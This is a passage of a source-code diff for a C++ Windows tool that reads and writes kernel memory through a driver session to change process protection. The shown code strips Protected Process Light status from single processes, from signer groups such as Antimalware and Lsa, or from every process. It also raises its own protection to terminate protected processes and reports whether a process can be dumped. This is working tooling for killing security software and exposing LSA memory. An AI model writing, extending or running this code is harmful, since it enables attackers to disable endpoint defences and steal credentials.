-------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n" + << Utils::ProcessColors::RESET; + + SUCCESS(L"Listed %d protected processes", count); + return count > 0; +} + +bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept { + auto signerType = Utils::GetSignerTypeFromString(signerName); + if (!signerType) { + ERROR(L"Invalid signer type: %s", signerName.c_str()); + return false; + } + + if (!BeginDriverSession()) return false; + auto processes = GetProcessList(); + EndDriverSession(true); + + if (!Utils::EnableConsoleVirtualTerminal()) { + ERROR(L"Failed to enable console colors"); + } + + INFO(L"Processes with signer: %s", signerName.c_str()); + std::wcout << Utils::ProcessColors::GREEN + << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n" + << Utils::ProcessColors::HEADER + << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. " + << Utils::ProcessColors::RESET << L"\n" + << Utils::ProcessColors::GREEN + << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n" + << Utils::ProcessColors::RESET; + + bool foundAny = false; + for (const auto& entry : processes) { + if (entry.SignerType == signerType.value()) { + foundAny = true; + const wchar_t* color = Utils::GetProcessDisplayColor(entry.SignerType, entry.SignatureLevel, entry.SectionSignatureLevel); + wchar_t buffer[512]; + swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n", + entry.Pid, + entry.ProcessName.length() > 28 ? (entry.ProcessName.substr(0, 25) + L"...").c_str() : entry.ProcessName.c_str(), + Utils::GetProtectionLevelAsString(entry.ProtectionLevel), entry.ProtectionLevel, + Utils::GetSignerTypeAsString(entry.SignerType), entry.SignerType, + Utils::GetSignatureLevelAsString(entry.SignatureLevel), entry.SignatureLevel, + Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel), entry.SectionSignatureLevel, + entry.KernelAddress); + std::wcout << color << buffer << Utils::ProcessColors::RESET; + } + } + + if (!foundAny) { + std::wcout << L"\nNo processes found with signer type: " << signerName << L"\n"; + return false; + } + + std::wcout << Utils::ProcessColors::GREEN + << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n" + << Utils::ProcessColors::RESET; + return true; +} bool Controller::GetProcessProtection(DWORD pid) noexcept { if (!BeginDriverSession()) { @@ -637,11 +795,10 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept { EndDriverSession(true); return false; } - + UCHAR protLevel = Utils::GetProtectionLevel(currentProtection.value()); UCHAR signerType = Utils::GetSignerType(currentProtection.value()); - // Get signature levels for color determination auto sigLevelOffset = m_of->GetOffset(Offset::ProcessSignatureLevel); auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel); @@ -649,8 +806,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept { UCHAR sectionSignatureLevel = secSigLevelOffset ? m_rtc->Read8(kernelAddr.value() + secSigLevelOffset.value()).value_or(0) : 0; std::wstring processName = Utils::GetProcessName(pid); - - // Get console handle HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_SCREEN_BUFFER_INFO csbi; GetConsoleScreenBufferInfo(hConsole, &csbi); @@ -659,7 +814,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept { if (currentProtection.value() == 0) { INFO(L"PID %d (%s) is not protected", pid, processName.c_str()); } else { - // Same color logic as list WORD protectionColor; bool hasUncheckedSignatures = (signatureLevel == 0x00 || sectionSignatureLevel == 0x00); @@ -671,15 +825,12 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept { signerType != static_cast(PS_PROTECTED_SIGNER::WinSystem) && signerType != static_cast(PS_PROTECTED_SIGNER::Lsa)); - protectionColor = isUserProcess ? - (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY) : - (FOREGROUND_GREEN | FOREGROUND_INTENSITY); + protectionColor = isUserProcess ? (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY) : (FOREGROUND_GREEN | FOREGROUND_INTENSITY); } SetConsoleTextAttribute(hConsole, protectionColor); wprintf(L"[*] PID %d (%s) protection: %s-%s (raw: 0x%02x)\n", - pid, - processName.c_str(), + pid, processName.c_str(), Utils::GetProtectionLevelAsString(protLevel), Utils::GetSignerTypeAsString(signerType), currentProtection.value()); @@ -692,528 +843,10 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept { bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept { auto match = ResolveNameWithoutDriver(processName); - if (!match) { - return false; - } - - return GetProcessProtection(match->Pid); -} - -// ============================================================================ -// PROTECTED PROCESS LISTING -// ============================================================================ - -bool Controller::ListProtectedProcesses() noexcept { - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - auto processes = GetProcessList(); - DWORD count = 0; - - // Enable ANSI colors using Utils function - if (!Utils::EnableConsoleVirtualTerminal()) { - ERROR(L"Failed to enable console colors"); - } - - std::wcout << Utils::ProcessColors::GREEN; - std::wcout << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; - std::wcout << Utils::ProcessColors::HEADER; - std::wcout << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. "; - std::wcout << Utils::ProcessColors::RESET << L"\n"; - std::wcout << Utils::ProcessColors::GREEN; - std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; - - for (const auto& entry : processes) { - if (entry.ProtectionLevel > 0) { - // Use centralized color logic instead of duplicated code - const wchar_t* processColor = Utils::GetProcessDisplayColor( - entry.SignerType, - entry.SignatureLevel, - entry.SectionSignatureLevel - ); - - wchar_t buffer[512]; - swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n", - entry.Pid, - entry.ProcessName.length() > 28 ? - (entry.ProcessName.substr(0, 25) + L"...").c_str() : entry.ProcessName.c_str(), - Utils::GetProtectionLevelAsString(entry.ProtectionLevel), entry.ProtectionLevel, - Utils::GetSignerTypeAsString(entry.SignerType), entry.SignerType, - Utils::GetSignatureLevelAsString(entry.SignatureLevel), entry.SignatureLevel, - Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel), entry.SectionSignatureLevel, - entry.KernelAddress); - - std::wcout << processColor << buffer << Utils::ProcessColors::RESET; - count++; - } - } - - std::wcout << Utils::ProcessColors::GREEN; - std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; - std::wcout << Utils::ProcessColors::RESET; - - SUCCESS(L"Listed %d protected processes", count); - EndDriverSession(true); - return count > 0; -} - -// ============================================================================ -// PROCESS PROTECTION MANIPULATION -// ============================================================================ - -bool Controller::UnprotectProcess(DWORD pid) noexcept { - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - auto kernelAddr = GetCachedKernelAddress(pid); - if (!kernelAddr) { - EndDriverSession(true); // Force cleanup - return false; - } - - auto currentProtection = GetProcessProtection(kernelAddr.value()); - if (!currentProtection) { - EndDriverSession(true); // Force cleanup - return false; - } - - if (currentProtection.value() == 0) { - ERROR(L"PID %d is not protected", pid); - EndDriverSession(true); // Force cleanup - return false; - } - - if (!SetProcessProtection(kernelAddr.value(), 0)) { - ERROR(L"Failed to remove protection from PID %d", pid); - EndDriverSession(true); // Force cleanup - return false; - } - - SUCCESS(L"Removed protection from PID %d", pid); - EndDriverSession(true); // Force cleanup - return true; -} - -bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - auto kernelAddr = GetCachedKernelAddress(pid); - if (!kernelAddr) { - EndDriverSession(true); // Force cleanup - return false; - } - - auto currentProtection = GetProcessProtection(kernelAddr.value()); - if (!currentProtection) { - EndDriverSession(true); // Force cleanup - return false; - } - - if (currentProtection.value() > 0) { - ERROR(L"PID %d is already protected", pid); - EndDriverSession(true); // Force cleanup - return false; - } - - auto level = Utils::GetProtectionLevelFromString(protectionLevel); - auto signer = Utils::GetSignerTypeFromString(signerType); - - if (!level || !signer) { - ERROR(L"Invalid protection level or signer type"); - EndDriverSession(true); // Force cleanup - return false; - } - - UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); - if (!SetProcessProtection(kernelAddr.value(), newProtection)) { - ERROR(L"Failed to protect PID %d", pid); - EndDriverSession(true); // Force cleanup - return false; - } - - SUCCESS(L"Protected PID %d with %s-%s", pid, protectionLevel.c_str(), signerType.c_str()); - EndDriverSession(true); // Force cleanup - return true; -} - -bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - auto level = Utils::GetProtectionLevelFromString(protectionLevel); - auto signer = Utils::GetSignerTypeFromString(signerType); - - if (!level || !signer) { - ERROR(L"Invalid protection level or signer type"); - EndDriverSession(true); // Force cleanup - return false; - } - - auto kernelAddr = GetCachedKernelAddress(pid); - if (!kernelAddr) { - EndDriverSession(true); // Force cleanup - return false; - } - - UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); - - if (!SetProcessProtection(kernelAddr.value(), newProtection)) { - ERROR(L"Failed to set protection on PID %d", pid); - EndDriverSession(true); // Force cleanup - return false; - } - - SUCCESS(L"Set protection %s-%s on PID %d", protectionLevel.c_str(), signerType.c_str(), pid); - EndDriverSession(true); // Force cleanup - return true; -} - -// ============================================================================ -// MASS PROTECTION OPERATIONS -// ============================================================================ - -bool Controller::UnprotectAllProcesses() noexcept -{ - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - auto processes = GetProcessList(); - - // Group processes by signer type - std::unordered_map> groupedProcesses; - - for (const auto& entry : processes) - { - if (entry.ProtectionLevel > 0) - { - std::wstring signerName = Utils::GetSignerTypeAsString(entry.SignerType); - groupedProcesses[signerName].push_back(entry); - } - } - - if (groupedProcesses.empty()) - { - INFO(L"No protected processes found"); - EndDriverSession(true); - return false; - } - - INFO(L"Starting mass unprotection (%zu signer groups)", groupedProcesses.size()); - - DWORD totalSuccess = 0; - DWORD totalProcessed = 0; - - // Process each signer group - for (const auto& [signerName, processes] : groupedProcesses) - { - INFO(L"Processing signer group: %s (%zu processes)", signerName.c_str(), processes.size()); - - // Save state before modification - m_sessionMgr.SaveUnprotectOperation(signerName, processes); - - // Unprotect all in this group - for (const auto& entry : processes) - { - totalProcessed++; - - if (SetProcessProtection(entry.KernelAddress, 0)) - { - totalSuccess++; - SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); - } - else - { - ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); - } - - if (g_interrupted) - { - INFO(L"Mass unprotection interrupted by user"); - EndDriverSession(true); - return false; - } - } - } - - INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", totalSuccess, totalProcessed); - - EndDriverSession(true); - return totalSuccess > 0; -} - -// ControllerProcessOperations.cpp -bool Controller::UnprotectMultipleProcesses(const std::vector& targets) noexcept -{ - if (targets.empty()) - return false; - - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - DWORD successCount = 0; - DWORD totalCount = static_cast(targets.size()); - - for (const auto& target : targets) - { - bool result = false; - - // Check if target is numeric (PID) - bool isNumeric = true; - for (wchar_t ch : target) - { - if (!iswdigit(ch)) - { - isNumeric = false; - break; - } - } - - if (isNumeric) - { - try { - DWORD pid = std::stoul(target); - result = UnprotectProcess(pid); - } - catch (...) { - ERROR(L"Invalid PID: %s", target.c_str()); - } - } - else - { - result = UnprotectProcessByName(target); - } - - if (result) successCount++; - } - - INFO(L"Batch unprotection completed: %d/%d targets successfully processed", successCount, totalCount); - - EndDriverSession(true); - - return successCount == totalCount; -} - -bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept { - auto signerType = Utils::GetSignerTypeFromString(signerName); - if (!signerType) { - ERROR(L"Invalid signer type: %s", signerName.c_str()); - return false; - } - - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - auto processes = GetProcessList(); - std::vector affectedProcesses; - DWORD totalCount = 0; - DWORD successCount = 0; - - INFO(L"Starting batch unprotection of processes signed by: %s", signerName.c_str()); - - // Collect processes that will be affected - for (const auto& entry : processes) { - if (entry.ProtectionLevel > 0 && entry.SignerType == signerType.value()) { - affectedProcesses.push_back(entry); - totalCount++; - } - } - - // Save state before modification - if (!affectedProcesses.empty()) { - m_sessionMgr.SaveUnprotectOperation(signerName, affectedProcesses); - } - - for (const auto& entry : affectedProcesses) { - if (SetProcessProtection(entry.KernelAddress, 0)) { - successCount++; - SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); - } else { - ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); - } - - if (g_interrupted) { - INFO(L"Batch operation interrupted by user"); - break; - } - } - - if (totalCount == 0) { - INFO(L"No protected processes found with signer: %s", signerName.c_str()); - } else { - INFO(L"Batch unprotection completed: %d/%d processes successfully unprotected", successCount, totalCount); - } - - EndDriverSession(true); - return successCount > 0; -} - -/** - * Lists all processes that have the specified signer type. - * Displays process information in a formatted table including PID, name, protection level, - * signer type, signature levels, and kernel address. - * - * @param signerName The name of the signer type to filter by (e.g., "Windows", "Antimalware", "WinTcb") - * @return true if processes were found and displayed, false if signer type is invalid or no processes match - */ -bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept { - auto signerType = Utils::GetSignerTypeFromString(signerName); - if (!signerType) { - ERROR(L"Invalid signer type: %s", signerName.c_str()); - return false; - } - - std::vector processes; - - if (!BeginDriverSession()) { - return false; - } - - processes = GetProcessList(); // Collect data while driver is active - EndDriverSession(true); // Close driver session immediately - - // Enable ANSI colors - same as ListProtectedProcesses - if (!Utils::EnableConsoleVirtualTerminal()) { - ERROR(L"Failed to enable console colors"); - // Continue anyway, just without colors - } - - bool foundAny = false; - - INFO(L"Processes with signer: %s", signerName.c_str()); - - // Use same table formatting as ListProtectedProcesses - std::wcout << Utils::ProcessColors::GREEN; - std::wcout << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; - std::wcout << Utils::ProcessColors::HEADER; - std::wcout << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. "; - std::wcout << Utils::ProcessColors::RESET << L"\n"; - std::wcout << Utils::ProcessColors::GREEN; - std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; - std::wcout << Utils::ProcessColors::RESET; - - for (const auto& entry : processes) { - if (entry.SignerType == signerType.value()) { - foundAny = true; - - // Use centralized color logic - const wchar_t* processColor = Utils::GetProcessDisplayColor( - entry.SignerType, - entry.SignatureLevel, - entry.SectionSignatureLevel - ); - - wchar_t buffer[512]; - - std::wcout << processColor; // Apply color - - // Use consistent column widths and formatting - swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n", - entry.Pid, - entry.ProcessName.length() > 28 ? - (entry.ProcessName.substr(0, 25) + L"...").c_str() : entry.ProcessName.c_str(), - Utils::GetProtectionLevelAsString(entry.ProtectionLevel), entry.ProtectionLevel, - Utils::GetSignerTypeAsString(entry.SignerType), entry.SignerType, - Utils::GetSignatureLevelAsString(entry.SignatureLevel), entry.SignatureLevel, - Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel), entry.SectionSignatureLevel, - entry.KernelAddress); - - std::wcout << buffer; - std::wcout << Utils::ProcessColors::RESET; // Reset color after each line - } - } - - if (!foundAny) { - std::wcout << L"\nNo processes found with signer type: " << signerName << L"\n"; - return false; - } - - std::wcout << Utils::ProcessColors::GREEN; - std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; - std::wcout << Utils::ProcessColors::RESET; - - return true; -} -// ============================================================================ -// PROCESS NAME-BASED OPERATIONS -// ============================================================================ - -bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { - auto match = ResolveNameWithoutDriver(processName); - if (!match) { - return false; - } - - return ProtectProcess(match->Pid, protectionLevel, signerType); -} - -bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept { - auto match = ResolveNameWithoutDriver(processName); - if (!match) { - return false; - } - - return UnprotectProcess(match->Pid); -} - -bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { - auto match = ResolveNameWithoutDriver(processName); - if (!match) { - return false; - } - - return SetProcessProtection(match->Pid, protectionLevel, signerType); -} - -// Session state restoration operations -bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept -{ - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - bool result = m_sessionMgr.RestoreBySigner(signerName, this); - - EndDriverSession(true); - return result; -} - -bool Controller::RestoreAllProtection() noexcept -{ - if (!BeginDriverSession()) { - EndDriverSession(true); - return false; - } - - bool result = m_sessionMgr.RestoreAll(this); - - EndDriverSession(true); - return result; -} - -void Controller::ShowSessionHistory() noexcept -{ - m_sessionMgr.ShowHistory(); + return match ? GetProcessProtection(match->Pid) : false; } bool Controller::PrintProcessInfo(DWORD pid) noexcept { - std::wstring processName = Utils::GetProcessName(pid); - if (!BeginDriverSession()) { EndDriverSession(true); return false; @@ -1232,7 +865,8 @@ bool Controller::PrintProcessInfo(DWORD pid) noexcept { EndDriverSession(true); return false; } - + + std::wstring processName = Utils::GetProcessName(pid); UCHAR protLevel = Utils::GetProtectionLevel(protection.value()); UCHAR signerType = Utils::GetSignerType(protection.value()); @@ -1247,11 +881,9 @@ bool Controller::PrintProcessInfo(DWORD pid) noexcept { GetConsoleScreenBufferInfo(hConsole, &csbi); WORD originalColor = csbi.wAttributes; - // Display protection with color if (protection.value() == 0) { INFO(L"PID %d (%s) is not protected", pid, processName.c_str()); } else { - // Determine color based on signer (same logic as list) WORD protectionColor; bool hasUncheckedSignatures = (sigLevel == 0x00 || secSigLevel == 0x00); @@ -1263,9 +895,7 @@ bool Controller::PrintProcessInfo(DWORD pid) noexcept { signerType != static_cast(PS_PROTECTED_SIGNER::WinSystem) && signerType != static_cast(PS_PROTECTED_SIGNER::Lsa)); - protectionColor = isUserProcess ? - (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY) : // yellow - (FOREGROUND_GREEN | FOREGROUND_INTENSITY); // green + protectionColor = isUserProcess ? (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY) : (FOREGROUND_GREEN | FOREGROUND_INTENSITY); } SetConsoleTextAttribute(hConsole, protectionColor); @@ -1277,9 +907,7 @@ bool Controller::PrintProcessInfo(DWORD pid) noexcept { SetConsoleTextAttribute(hConsole, originalColor); } - // Dumpability with inverse colors (black on white) auto dumpability = Utils::CanDumpProcess(pid, processName, protLevel, signerType); - SetConsoleTextAttribute(hConsole, BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE); wprintf(L" Dumpability: %s - %s \n", dumpability.CanDump ? L"Yes" : L"No", @@ -1288,4 +916,379 @@ bool Controller::PrintProcessInfo(DWORD pid) noexcept { EndDriverSession(true); return true; +} + +/*************************************************************************************************/ +/* INTERNAL IMPLEMENTATION: CORE LOGIC */ +/*************************************************************************************************/ + +/** + * @brief Internal worker function for terminating a process. + * @param pid The ID of the process to terminate. + * @param batchOperation If true, assumes a driver session is already active. + * @return true on success, false on failure. + */ +bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept { + if (!batchOperation && !BeginDriverSession()) { + ERROR(L"Failed to start driver session for PID %d", pid); + return false; + } + + auto kernelAddr = GetCachedKernelAddress(pid); + if (!kernelAddr) { + if (!batchOperation) EndDriverSession(true); + return false; + } + + if (auto prot = GetProcessProtection(kernelAddr.value()); prot && prot.value() > 0) { + UCHAR targetLevel = Utils::GetProtectionLevel(prot.value()); + UCHAR targetSigner = Utils::GetSignerType(prot.value()); + std::wstring levelStr = (targetLevel == static_cast(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL"; + INFO(L"Target process has %s-%s protection, elevating current process", levelStr.c_str(), Utils::GetSignerTypeAsString(targetSigner)); + + UCHAR currentProcessProtection = Utils::GetProtection(targetLevel, targetSigner); + if (!SetCurrentProcessProtection(currentProcessProtection)) { + ERROR(L"Failed to elevate current process protection"); + } + } + + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + if (!hProcess) { + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (!hProcess) { + ERROR(L"Failed to open process for termination (PID: %d, Error: %d)", pid, GetLastError()); + return false; + } + } + + BOOL terminated = TerminateProcess(hProcess, 1); + DWORD terminationError = GetLastError(); + CloseHandle(hProcess); + + if (!terminated) { + ERROR(L"Failed to terminate PID: %d (error: %d)", pid, terminationError); + } + + return terminated; +} + +/** + * @brief Internal worker for protecting a process (batch mode support). + * @param pid Process ID to protect. + * @param protectionLevel Protection level string (PP or PPL). + * @param signerType Signer type string. + * @param batchOperation If true, assumes driver session is already active. + * @return true on success, false on failure. + */ +bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel, + const std::wstring& signerType, bool batchOperation) noexcept { + if (!batchOperation && !BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type for PID %d", pid); + if (!batchOperation) EndDriverSession(true); + return false; + } + + auto kernelAddr = GetCachedKernelAddress(pid); + if (!kernelAddr) { + if (!batchOperation) EndDriverSession(true); + return false; + } + + // Check if already protected (protect command skips already protected) + if (auto currentProt = GetProcessProtection(kernelAddr.value()); + currentProt && currentProt.value() > 0) { + INFO(L"PID %d already protected, skipping", pid); + if (!batchOperation) EndDriverSession(true); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + bool result = SetProcessProtection(kernelAddr.value(), newProtection); + + if (result) { + SUCCESS(L"Protected PID %d with %s-%s", pid, protectionLevel.c_str(), signerType.c_str()); + } else { + ERROR(L"Failed to protect PID %d", pid); + } + + if (!batchOperation) EndDriverSession(true); + return result; +} + +/** + * @brief Internal worker for setting protection (batch mode support). + * @param pid Process ID. + * @param protectionLevel Protection level string (PP or PPL). + * @param signerType Signer type string. + * @param batchOperation If true, assumes driver session is already active. + * @return true on success, false on failure. + */ +bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel, + const std::wstring& signerType, bool batchOperation) noexcept { + if (!batchOperation && !BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type for PID %d", pid); + if (!batchOperation) EndDriverSession(true); + return false; + } + + auto kernelAddr = GetCachedKernelAddress(pid); + if (!kernelAddr) { + if (!batchOperation) EndDriverSession(true); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + bool result = SetProcessProtection(kernelAddr.value(), newProtection); + + if (result) { + SUCCESS(L"Set protection %s-%s on PID %d", protectionLevel.c_str(), signerType.c_str(), pid); + } else { + ERROR(L"Failed to set protection on PID %d", pid); + } + + if (!batchOperation) EndDriverSession(true); + return result; +} + +/*************************************************************************************************/ +/* INTERNAL IMPLEMENTATION: KERNEL-LEVEL OPERATIONS */ +/*************************************************************************************************/ + +/** + * @brief Enumerates all running processes by walking the kernel's EPROCESS list. + * This is the primary method for gathering detailed process information. + * @return A vector of ProcessEntry structs. + */ +std::vector Controller::GetProcessList() noexcept { + std::vector processes; + if (g_interrupted) { + INFO(L"Process enumeration cancelled by user before start"); + return processes; + } + + auto initialProcess = GetInitialSystemProcessAddress(); + if (!initialProcess) return processes; + + auto uniqueIdOffset = m_of->GetOffset(Offset::ProcessUniqueProcessId); + auto linksOffset = m_of->GetOffset(Offset::ProcessActiveProcessLinks); + if (!uniqueIdOffset || !linksOffset) return processes; + + ULONG_PTR current = initialProcess.value(); + DWORD processCount = 0; + + do { + if (g_interrupted) break; + + auto pidPtr = m_rtc->ReadPtr(current + uniqueIdOffset.value()); + if (g_interrupted) break; + + auto protection = GetProcessProtection(current); + + std::optional signatureLevel = std::nullopt; + std::optional sectionSignatureLevel = std::nullopt; + + auto sigLevelOffset = m_of->GetOffset(Offset::ProcessSignatureLevel); + auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel); + + if (g_interrupted) break; + + if (sigLevelOffset) signatureLevel = m_rtc->Read8(current + sigLevelOffset.value()); + if (secSigLevelOffset) sectionSignatureLevel = m_rtc->Read8(current + secSigLevelOffset.value()); + + if (pidPtr && protection) { + if (ULONG_PTR pidValue = pidPtr.value(); pidValue > 0 && pidValue <= MAXDWORD) { + ProcessEntry entry{}; + entry.KernelAddress = current; + entry.Pid = static_cast(pidValue); + entry.ProtectionLevel = Utils::GetProtectionLevel(protection.value()); + entry.SignerType = Utils::GetSignerType(protection.value()); + entry.SignatureLevel = signatureLevel.value_or(0); + entry.SectionSignatureLevel = sectionSignatureLevel.value_or(0); + + if (g_interrupted) break; + + std::wstring basicName = Utils::GetProcessName(entry.Pid); + entry.ProcessName = (basicName == L"[Unknown]") + ? Utils::ResolveUnknownProcessLocal(entry.Pid, entry.KernelAddress, entry.ProtectionLevel, entry.SignerType) + : basicName; + + processes.push_back(entry); + processCount++; + } + } + + if (g_interrupted) break; + + auto nextPtr = m_rtc->ReadPtr(current + linksOffset.value()); + if (!nextPtr) break; + + current = nextPtr.value() - linksOffset.value(); + + if (processCount >= 10000) break; // Safety break. + + } while (current != initialProcess.value() && !g_interrupted); + + return processes; +} + +std::optional Controller::GetInitialSystemProcessAddress() noexcept { + auto kernelBase = Utils::GetKernelBaseAddress(); + auto offset = m_of->GetOffset(Offset::KernelPsInitialSystemProcess); + if (!kernelBase || !offset) return std::nullopt; + + ULONG_PTR pPsInitialSystemProcess = Utils::GetKernelAddress(kernelBase.value(), offset.value()); + return m_rtc->ReadPtr(pPsInitialSystemProcess); +} + +std::optional Controller::GetProcessKernelAddress(DWORD pid) noexcept { + auto processes = GetProcessList(); + for (const auto& entry : processes) { + if (entry.Pid == pid) + return entry.KernelAddress; + } + DEBUG(L"Kernel address not available for PID %d", pid); + return std::nullopt; +} + +std::optional Controller::GetProcessProtection(ULONG_PTR addr) noexcept { + auto offset = m_of->GetOffset(Offset::ProcessProtection); + return offset ? m_rtc->Read8(addr + offset.value()) : std::nullopt; +} + +bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept { + auto offset = m_of->GetOffset(Offset::ProcessProtection); + return offset ? m_rtc->Write8(addr + offset.value(), protection) : false; +} + +/*************************************************************************************************/ +/* HELPERS: PROCESS NAME RESOLUTION & PATTERN MATCHING */ +/*************************************************************************************************/ + +std::optional Controller::ResolveProcessName(const std::wstring& processName) noexcept { + if (!BeginDriverSession()) return std::nullopt; + + auto matches = FindProcessesByName(processName); + EndDriverSession(true); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + return std::nullopt; + } + if (matches.size() == 1) { + INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); + return matches[0]; + } + + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + return std::nullopt; +} + +std::vector Controller::FindProcessesByName(const std::wstring& pattern) noexcept { + std::vector matches; + for (const auto& entry : GetProcessList()) { + if (IsPatternMatch(entry.ProcessName, pattern)) { + matches.push_back({entry.Pid, entry.ProcessName, entry.KernelAddress}); + } + } + return matches; +} + +std::optional Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept { + auto matches = FindProcessesByNameWithoutDriver(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + return std::nullopt; + } + if (matches.size() == 1) { + INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); + return matches[0]; + } + + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + return std::nullopt; +} + +std::vector Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept { + std::vector matches; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) return matches; + + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (IsPatternMatch(pe.szExeFile, pattern)) { + matches.push_back({pe.th32ProcessID, pe.szExeFile, 0}); + } + } while (Process32NextW(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return matches; +} + +/** + * @brief Checks if a process name matches a given pattern (case-insensitive). + * Supports exact, substring, and wildcard (*) matching. + * @param processName The name of the process. + * @param pattern The pattern to match against. + * @return true if it's a match, false otherwise. + */ +bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept { + std::wstring lowerProcessName = processName; + std::wstring lowerPattern = pattern; + std::transform(lowerProcessName.begin(), lowerProcessName.end(), lowerProcessName.begin(), ::towlower); + std::transform(lowerPattern.begin(), lowerPattern.end(), lowerPattern.begin(), ::towlower); + + if (lowerProcessName == lowerPattern || 